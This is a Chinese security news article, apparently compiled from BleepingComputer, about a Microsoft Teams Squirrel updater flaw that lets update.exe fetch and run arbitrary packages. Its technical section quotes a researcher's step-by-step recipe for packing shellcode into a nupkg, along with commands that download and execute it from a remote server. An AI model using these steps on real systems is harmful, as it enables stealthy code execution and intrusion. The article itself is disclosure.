查看原文
其他

微软 Teams 曝0day!可用于下载并运行恶意包,GitHub等受影响

综合编译 代码卫士 2022-04-06

 聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

微软 Teams 桌面 app中实现的现有更新机制可导致在系统上下载并执行任意文件。该问题也影响 GitHubWhatsApp UiPatch 软件桌面版,不过仅可用于下载 payload。目前尚未修复。

概述

这些应用程序依靠开源的 Squirrel 项目管理安装和更新例程,该项目使用 NuGet 数据包管理器创建必要文件。

多名安全研究员发现,为易受攻击的应用程序使用 ‘update’ 命令,可能会在当前用户上下文中执行任意二进制,同样的情况也适用于 ‘squirrel.exe’。

Payload 通过微软 Teams 增加至文件夹并使用一下任何一种命令自动执行:

Update.exe --update [url to payload]squirrel.exe --update [url to payload]

这些命令可和其它参数一起使用,包括 ‘download’,它可从远程位置检索 NuGet 数据包形式的 payload。

Update.exe --download [url to payload]squirrel.exe --download [url to payload]

同样的方法也适用于 “squirrel.exe”,它也是微软 Teams 安装包的一部分。这两种可执行文件是GitHub 上 LOLBAS (Living Off the Land Binaries and Scripts) 数据库的一部分,详见:

  • https://lolbas-project.github.io/lolbas/OtherMSBinaries/Update/

  • https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/

逆向工程师 Reegun Richard 在微软 Teams 上测试了该问题并在6月4日告知微软。由于微软表示将在下个版本中修复,因此该应用程序目前仍易受攻击。

在 GitHub、WhatsApp 和 UiPatch 上尝试复现影响并无法执行payload,只可能从远程服务器中下载它。Richard 表示,“在这种场景下,攻击者能通过该方法掩盖 payload 下载,而这对于攻击者而言仍然发挥作用。

Richard 属于蓝队,曾希望在微软发布补丁后公开详情。另外一名红队研究员 RingZero 团队的 Mr. Un1k0d34 也发现了该问题并公开了详情。

Richard 在推特上发布了找到该漏洞的过程并解释了其根因。他从三月份 Hexacorn 公开的研究成果谈起,该成果主要关注的是基于 Electron 应用程序的 live-off-the-land 二进制 (lolbins)。

Richard 还发布视频演示了攻击者如何利用微软 Teams 在目标计算机上获得 shell。

微软 Team 是商用工具,是对 Skype for Business 的升级版。它是 Slack 的替代产品,提供统一通信功能,包括视频会议、文件存储和协作功能,支持和其它开发者产品集成的扩展。

技术分析

Richard 在文章中进行了简要的技术分析,如下:

易受攻击的端点:

%localappdata%/Microsoft/Teams/update.exe

%localappdata%/Microsoft/Teams/current/squirrel.exe

创建payload:

Payload 准备:

1. 提取任意nupkg 数据包,我提取的是Exploit-1.5.60-full.nupkg

2.进入 Exploit-1.5.60-full\lib\net45 并释放shellcode ‘squirrel.exe’,将完整的文件夹压缩为 ‘Exploit-1.5.60-full.nupkg’

3. 以如下命令计算元数据。

sha1sumExploit-1.5.60-full.nupkg && wc -c < Exploit-1.5.60-full.nupkgOutput : fa8b87f0b995498a6e890c832dcaf968997608d4 Exploit-1.5.60-full.nupkg4695


4.创建名为RELEASES 的文件并复制并保存如上输出。那么主要的目录包含两个文件Exploit-1.5.60-full.nupkg 和 RELEASES。

5. 上传至任意http 服务器。

如何实施攻击:

1.下载并执行:

第1步:到目标应用程序文件夹“%localappdata%[application Folder]”

第2步:运行如下命令

update.exe — update=[http server contains the above 2 files]

如 update.exe —update=http://192.168.10.251/

更新命令将下载恶意数据包并自动安装。

2. 下载:



update.exe — download=[http server contains the above2 files]

它会把包含shellcode 的数据包下载到 “packages”文件夹。

影响是什么?

1.从微软合法二进制执行恶意代码(Living off the Land)。

2. 无需特殊权限,标准的windows 用户即可实施利用。

3. 红队/内部人员可借此躲避EDR/IDS

4. 发生权限提升,如果应用程序能够控制SYSTEM 文件。

问题是什么?

1. 不存在应用程序能够从认证URL 升级的受控设计。

2. 允许第三方URL 下载数据包。

3. 我不会说 Squirrel应用程序的设计存在问题,但开发人员可能需要编辑不需要的参数并推送自动更新。




推荐阅读

第三方先于微软推出 Windows 0day 漏洞补丁

微软“补丁星期二”共修复56个漏洞,其中1个是0day



原文链接

https://www.bleepingcomputer.com/news/security/microsoft-teams-can-be-used-to-download-and-run-malicious-packages/

https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12






题图:Pixabay License




本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”。



奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。



您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存